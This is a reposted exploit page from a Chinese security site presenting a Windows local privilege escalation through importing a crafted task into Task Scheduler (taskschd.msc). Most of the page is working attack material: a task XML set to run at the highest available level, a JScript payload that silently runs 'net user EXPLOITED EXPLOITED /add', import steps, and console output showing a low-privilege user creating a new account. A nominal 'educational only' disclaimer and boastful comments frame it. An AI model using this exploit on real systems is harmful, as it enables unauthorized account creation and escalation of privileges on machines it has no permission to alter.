首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Windows taskschd.msc Privilege Escalation
来源:https://www.ethical-hacker.org/ 作者:Donev 发布时间:2017-04-19  
  Microsoft Windows 'taskschd.msc' 
  Local SYSTEM Privilege Escalation

  Todor Donev <todor.donev@gmail.com>
  https://www.ethical-hacker.org/
  https://www.facebook.com/ethicalhackerorg

  Disclaimer:
  This or previous programs is for Educational
  purpose ONLY. Do not use it without permission.
  The usual disclaimer applies, especially the
  fact that Todor Donev is not liable for any
  damages caused by direct or indirect use of the
  information or functionality provided by these
  programs. The author or any Internet provider
  bears NO responsibility for content or misuse
  of these programs or any derivatives thereof.
  By using these programs you accept the fact
  that any damage (dataloss, system crash,
  system compromise, etc.) caused by the use
  of these programs is not Todor Donev's
  responsibility.

  Use them at your own risk!

  Related exploit: 
  https://www.exploit-db.com/exploits/35850/


C:\Users\test\Desktop>net user

User accounts for \\ETHACK-PC

-------------------------------------------------------------------------------
Administrator            Guest                    test
The command completed successfully.


C:\Users\test\Desktop>net user EXPLOITED /add
System error 5 has occurred.

Access is denied.


C:\Users\test\Desktop>

The user 'test' has no privileges to add user.
Okey! Let's hacking..

Now, we must create suidshell!

C:\Users\test\Desktop>type w00tw00t.xml

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>1337-01-01T13:37:07.9601296</Date>
    <Author>NT-AUTHORITY\SYSTEM</Author>
  </RegistrationInfo>
  <Triggers />
  <Principals>
    <Principal id="Author">
      <UserId>ETHACK-PC\test</UserId>
      <LogonType>S4U</LogonType>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
    <Priority>7</Priority>
    <RestartOnFailure>
      <Interval>PT1M</Interval>
      <Count>3</Count>
    </RestartOnFailure>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>%USERPROFILE%\Desktop\EXPLOIT.JS</Command>
    </Exec>
  </Actions>
</Task>

C:\Users\test\Desktop>type EXPLOIT.JS

suidshell = WScript.CreateObject("WScript.Shell");
suidshell.run("cmd.exe /c net user EXPLOITED EXPLOITED /add", 0);


Okey. Now, our PAYLOAD is ready for IMPORT in Task Scheduler v1.0

Run 'taskschd.msc' -> Import Task.. -> Select and Open: w00tw00t.xml -> Run


C:\Users\test\Desktop>net user

User accounts for \\ETHACK-PC

-------------------------------------------------------------------------------
Administrator            EXPLOITED                Guest
test
The command completed successfully.


C:\Users\test\Desktop>

OWNED.. I've got the powah.. :))

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·VLC Media Player 2.2.3 DecodeA
·Trend Micro Threat Discovery A
·Microsoft Word - .RTF Remote C
·WebKit operationSpreadGeneric
·pinfo 0.6.9 - Local Buffer Ove
·VirtualBox Unprivilege Host Us
·Tenable Appliance < 4.5 - Unau
·Microsoft RTF Remote Code Exec
·Microsoft Windows - Uncredenti
·Squirrelmail 1.4.22 Remote Cod
·Mantis Bug Tracker 1.3.0/2.3.0
·OpenText Documentum Content Se
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved